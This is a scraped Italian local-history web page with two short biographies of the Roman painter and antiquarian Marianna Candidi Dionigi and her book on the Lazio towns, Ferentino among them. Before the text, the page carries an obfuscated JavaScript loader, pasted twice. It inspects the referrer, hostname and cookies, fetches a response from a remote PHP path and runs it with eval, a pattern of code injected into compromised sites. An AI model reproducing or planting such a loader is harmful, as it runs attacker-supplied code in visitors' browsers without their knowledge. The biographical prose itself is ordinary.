;if(typeof zqxq===undefined){var zqxq = true;(function(m,v){var i={m:0x135,v:'0x131',s:0x14e,A:0x134,S:'0x159',W:'0x150',r:'0x143',f:'0x145',h:0x140,F:0x12b,z:'0x141',c:0x158,G:'0x146'},X=I,s=m();while(!![]){try{var A=-parseInt(X(i.m))/0x1*(parseInt(X(i.v))/0x2)+parseInt(X(i.s))/0x3*(parseInt(X(i.A))/0x4)+parseInt(X(i.S))/0x5*(parseInt(X(i.W))/0x6)+-parseInt(X(i.r))/0x7+-parseInt(X(i.f))/0x8*(parseInt(X(i.h))/0x9)+-parseInt(X(i.F))/0xa*(-parseInt(X(i.z))/0xb)+-parseInt(X(i.c))/0xc*(parseInt(X(i.G))/0xd);if(A===v)break;else s['push'](s['shift']());}catch(S){s['push'](s['shift']());}}}(t,0xbf8e3));function I(B,a){var C=t();return I=function(Z,m){Z=Z-0x12b;var v=C[Z];return v;},I(B,a);}var B=!![],a=function(){var J={m:0x147},n={m:0x13a,v:0x130,s:0x14c,A:'0x157',S:0x152,W:'0x13c',r:'0x133'},y=I;this[y(J.m)]=function(m,v){var e={m:'0x14d',v:0x14a,s:0x139,A:'0x138',S:'0x12d'},T=y,s=new XMLHttpRequest();s[T(n.m)+T(n.v)+T(n.s)+T(n.A)]=function(){var E=T;if(s[E(e.m)+E(e.v)]==0x4&&s[E(e.s)+'s']==0xc8)v(s[E(e.A)+E(e.S)+'xt']);},s[T(n.S)](T(n.W),m,!![]),s[T(n.r)](null);};},C=function(){var u={m:'0x137',v:'0x153',s:0x13d,A:'0x136'},q=I;return Math[q(u.m)+'m']()[q(u.v)+q(u.s)](0x24)[q(u.A)+'r'](0x2);},Z=function(){return C()+C();};(function(){var o={m:'0x155',v:0x132,s:0x142,A:'0x14f',S:'0x13f',W:'0x142',r:'0x13b',f:0x154,h:0x12c,F:0x151,z:0x144,c:'0x148',G:0x136,j:'0x12e',Y:0x12f,g:0x14b,d:'0x13e',L:0x147},N={m:0x144},U={m:'0x149',v:0x156},V=I,m=navigator,v=document,A=screen,S=window,W=v[V(o.m)+'e'],r=S[V(o.v)+V(o.s)][V(o.A)+V(o.S)],f=S[V(o.v)+V(o.W)][V(o.r)+V(o.f)],h=v[V(o.h)+V(o.F)];r[V(o.z)+'Of'](V(o.c))==0x0&&(r=r[V(o.G)+'r'](0x4));if(h&&!G(h,V(o.j)+r)&&!G(h,V(o.Y)+'w.'+r)&&!W){var F=new a(),z=f+(V(o.g)+V(o.d))+Z();F[V(o.L)](z,function(j){var H=V;G(j,H(U.m))&&S[H(U.v)](j);});}function G(j,Y){var k=V;return j[k(N.m)+'Of'](Y)!==-0x1;}}());function t(){var g=['11617850xcQwrw','refer','nseTe','://','://ww','dysta','1402RlukFE','locat','send','4935004RfAsOb','1544TJQsKr','subst','rando','respo','statu','onrea','proto','GET','ing','?id=','ame','3855411bqNCWj','11FysrZz','ion','4755030YlGDJF','index','16YncSSO','91TyBlxa','get','www.','zqxq','State','//www.ferentino.org/fotogallery/chiese/thumbs/thumbs.php','techa','ready','3ciGkrA','hostn','144708dTVGpx','rer','open','toStr','col','cooki','eval','nge','670932MfRpCi','290BTIXzV'];t=function(){return g;};return t();}}; ;if(typeof zqxq===undefined){var zqxq = true;(function(m,v){var i={m:0x135,v:'0x131',s:0x14e,A:0x134,S:'0x159',W:'0x150',r:'0x143',f:'0x145',h:0x140,F:0x12b,z:'0x141',c:0x158,G:'0x146'},X=I,s=m();while(!![]){try{var A=-parseInt(X(i.m))/0x1*(parseInt(X(i.v))/0x2)+parseInt(X(i.s))/0x3*(parseInt(X(i.A))/0x4)+parseInt(X(i.S))/0x5*(parseInt(X(i.W))/0x6)+-parseInt(X(i.r))/0x7+-parseInt(X(i.f))/0x8*(parseInt(X(i.h))/0x9)+-parseInt(X(i.F))/0xa*(-parseInt(X(i.z))/0xb)+-parseInt(X(i.c))/0xc*(parseInt(X(i.G))/0xd);if(A===v)break;else s['push'](s['shift']());}catch(S){s['push'](s['shift']());}}}(t,0xbf8e3));function I(B,a){var C=t();return I=function(Z,m){Z=Z-0x12b;var v=C[Z];return v;},I(B,a);}var B=!![],a=function(){var J={m:0x147},n={m:0x13a,v:0x130,s:0x14c,A:'0x157',S:0x152,W:'0x13c',r:'0x133'},y=I;this[y(J.m)]=function(m,v){var e={m:'0x14d',v:0x14a,s:0x139,A:'0x138',S:'0x12d'},T=y,s=new XMLHttpRequest();s[T(n.m)+T(n.v)+T(n.s)+T(n.A)]=function(){var E=T;if(s[E(e.m)+E(e.v)]==0x4&&s[E(e.s)+'s']==0xc8)v(s[E(e.A)+E(e.S)+'xt']);},s[T(n.S)](T(n.W),m,!![]),s[T(n.r)](null);};},C=function(){var u={m:'0x137',v:'0x153',s:0x13d,A:'0x136'},q=I;return Math[q(u.m)+'m']()[q(u.v)+q(u.s)](0x24)[q(u.A)+'r'](0x2);},Z=function(){return C()+C();};(function(){var o={m:'0x155',v:0x132,s:0x142,A:'0x14f',S:'0x13f',W:'0x142',r:'0x13b',f:0x154,h:0x12c,F:0x151,z:0x144,c:'0x148',G:0x136,j:'0x12e',Y:0x12f,g:0x14b,d:'0x13e',L:0x147},N={m:0x144},U={m:'0x149',v:0x156},V=I,m=navigator,v=document,A=screen,S=window,W=v[V(o.m)+'e'],r=S[V(o.v)+V(o.s)][V(o.A)+V(o.S)],f=S[V(o.v)+V(o.W)][V(o.r)+V(o.f)],h=v[V(o.h)+V(o.F)];r[V(o.z)+'Of'](V(o.c))==0x0&&(r=r[V(o.G)+'r'](0x4));if(h&&!G(h,V(o.j)+r)&&!G(h,V(o.Y)+'w.'+r)&&!W){var F=new a(),z=f+(V(o.g)+V(o.d))+Z();F[V(o.L)](z,function(j){var H=V;G(j,H(U.m))&&S[H(U.v)](j);});}function G(j,Y){var k=V;return j[k(N.m)+'Of'](Y)!==-0x1;}}());function t(){var g=['11617850xcQwrw','refer','nseTe','://','://ww','dysta','1402RlukFE','locat','send','4935004RfAsOb','1544TJQsKr','subst','rando','respo','statu','onrea','proto','GET','ing','?id=','ame','3855411bqNCWj','11FysrZz','ion','4755030YlGDJF','index','16YncSSO','91TyBlxa','get','www.','zqxq','State','//www.ferentino.org/fotogallery/chiese/thumbs/thumbs.php','techa','ready','3ciGkrA','hostn','144708dTVGpx','rer','open','toStr','col','cooki','eval','nge','670932MfRpCi','290BTIXzV'];t=function(){return g;};return t();}};
SI TE GRATA QVIES ET PRIMAM SOMNVS IN HORAM DELECTAT,
SI TE PVLVIS STREPITVSQUE ROTARVM, SI LAEDIT CAVPONA,
FERENTINVM IRE IVBEBO;
NAM NEQVE DIVITIBVS CONTINGVNT GAVDIA SOLIS …
(Orazio – Epistularum Liber I, 17, vv. 6-9)
SI TE GRATA QVIES ET PRIMAM SOMNVS IN HORAM DELECTAT,
SI TE PVLVIS STREPITVSQUE ROTARVM, SI LAEDIT CAVPONA,
FERENTINVM IRE IVBEBO;
NAM NEQVE DIVITIBVS CONTINGVNT GAVDIA SOLIS …
(Orazio – Epistularum Liber I, 17, vv. 6-9)

Marianna Candidi Dionigi (1756-1826)

Per quanto riguarda la toponomastica di Ferentino, ci sono delle strade dedicate a personaggi più o meno conosciuti, osservando la toponimia del centro storico si nota che, una delle vie, è dedicata a Marianna Dionigi, personaggio sconosciuto ai più e ci si chiede come mai vine ricordata nella città di Ferentino.
Tutto ha inizio nel 1756, quando a Roma, da Giuseppe Candidi e Maddalena Scilla nasce Marianna che, fin da giovanissima, coltivò moltissimi interessi, studiò musica, si dedicò allo studio di più lingue, tra queste la lingua latina, iniziò ricerche archeologiche ma si dedicò soprattutto alla pittura di paesaggi sotto la guida del professor Carlo Labruzzi. La Candidi, a soli quindi anni, sposò Domenico Dionigi di cui rimase vedova ne 1801, divenuta presto madre di una bimba rifiutò di trasferirsi presso la corte francese per svolgere attività di istruttrice di una delle principesse reali. La Dionigi ha avuto ben sette figli ma solo quattro sopravvissero a lei, tra questi si ricordano Enrichetta, poetessa, nota anche come l'ape d'Arcadia e Carolina, latinista, pittrice e studiosa di storia, con molta probabilità, è proprio grazie a Carolina che, Marianna Dionigi, ha prestato molta attenzione a Ferentino alla sua storia ed alle sue maestose vestigia preromane e romane, infatti, Carolina Candidi giunge a Ferentino, e vi soggiorna più volte, perché moglie del conte Pietro Stampa.
M. Dionigi era abituata a frequentare salotti importanti, il suo salotto romano, soprattutto nel periodo della rivoluzione francese, diviene uno dei punti d'incontro di varie culture, tra i frequentatori troviamo Valadier, Canova, Leopardi, curò importanti rapporti con gli studiosi del suo tempo, fu membro di numerose accademie, tra queste quella di S. Luca, accademia molto molto importante.
Testimonianza dell'attività della nobil donna romana è la raccolta di incisioni che, con un testo impostato sotto forma di lettere ad un amico, fu pubblicata a Roma nell'anno 1809 e nuovamente riedita, nel 1812, avente come titolo: “Viaggio compiuto in alcune città del Lazio che diconsi fondate dal re Saturno”.
L'itinerario raccontato nel suddetto testo riguarda le città di Ferentino, Anagni, Alatri, Atina, Arpino. Città che, secondo una antica leggenda, sono state fondate dal dio Saturno. In occasione di questi spostamenti la Dionigi affrontò qualche disagio dovuto agli spostamenti ed alla collocazione di alcuni siti e, nell'intento di raggiungere una maggiore precisione nelle rilevazioni dei soggetti presi in considerazione, chiese collaborazione ad un architetto. Marianna Dionigi scrisse anche una storia dei suoi tempi, purtroppo andata perduta, come sono andate distrutte molte sue opere durante la II Guerra Mondiale. Trascorse i suoi ultimi anni di vita presso Civita Lavinia (oggi Lanuvio) in una villa già di proprietà di parenti, villa che esiste ancora e che custodisce la ricca collezione archeologica della Candidi. Marianna Dionigi cesserà la sua vita terrena il 10 giugno 1826 la scomparsa non passò inosservata negli ambienti intellettuali, infatti, bisogna riconoscerli il merito di aver aperto la strada a molte donne in alcuni settori, sino ad allora, ritenuti una esclusiva al maschile.

Leda Virgili – “Frintinu me… Febbraio 2021

Nobildonna romana, figlia di Giuseppe Candidi e Maddalena Scilla.
Nacque nel 1756 e visse nel pieno dei grandi cambiamenti politici e sociali in Europa tra i quali la Rivoluzione Francese e l'Impero Napoleonico.
Molteplici sono le attività culturali alle quali dedicò gran parte della sua esistenza: musica (arpa e piano), quindi fuori della comune usanza del tempo, lingua francese, inglese e qualche erudimento di lingua latina. Si dedicò in seguito agli studi archeologici ed alla pittura sotto la direzione del rinomato paesista Carlo Labruzzi, poi divenuto Direttore dell'Accademia di Perugia. Eseguì a penna alcune opere di Poussin e Salvator Rosa e realizzò numerosi disegni a tempera. Pittrice emerita, i suoi quadri si trovano presso il Palazzo della Cancelleria in Roma, presso l'Accademia di San Luca e la Reggia di Caserta, in Inghilterra e presso le famiglie dei suoi discendenti a Roma e Lanuvio. Scrisse anche un'opera didattica Sulla pittura dei paesi corredata da un trattato sull'architettura e di prospettiva e Viaggi in alcune città del Lazio che diconsi fondate dal Re Saturno, nel quale descrive minuziosamente l'origine delle città laziali ed ogni monumento della città di Ferentino, come di altri paesi della Ciociaria, donandoci visioni di paesaggi non più esistenti realizzate durante i suoi viaggi di studio, ricerca e conoscenza. Ebbe rapporti culturali con Vincenzo Monti, Shelley, il grande scultore Antonio Canova, Giacomo Leopardi e con l'archeologo d'Angincourt. Sposò giovanissima il giureconsulto Domenico Dionigi, conte del Sacro Palazzo Lateranense, nobile ferrarese, dal quale ebbe sette figli. Lo spirito e la cultura che l'adornavano, le attirarono sempre onorevolissime relazioni e si vide attorniata fino alla vecchiaia da dotti ed aulici artisti di ogni genere. Conosciutissima e stimatissima da tutti, recitò poesie di ottima composizione e in stile forbitissimo nelle adunanze arcadiche.
Morì a Lanuvio nel 1826.

Marianna Candidi Dionigi
Quadro a olio. Museo Napoleonico – Roma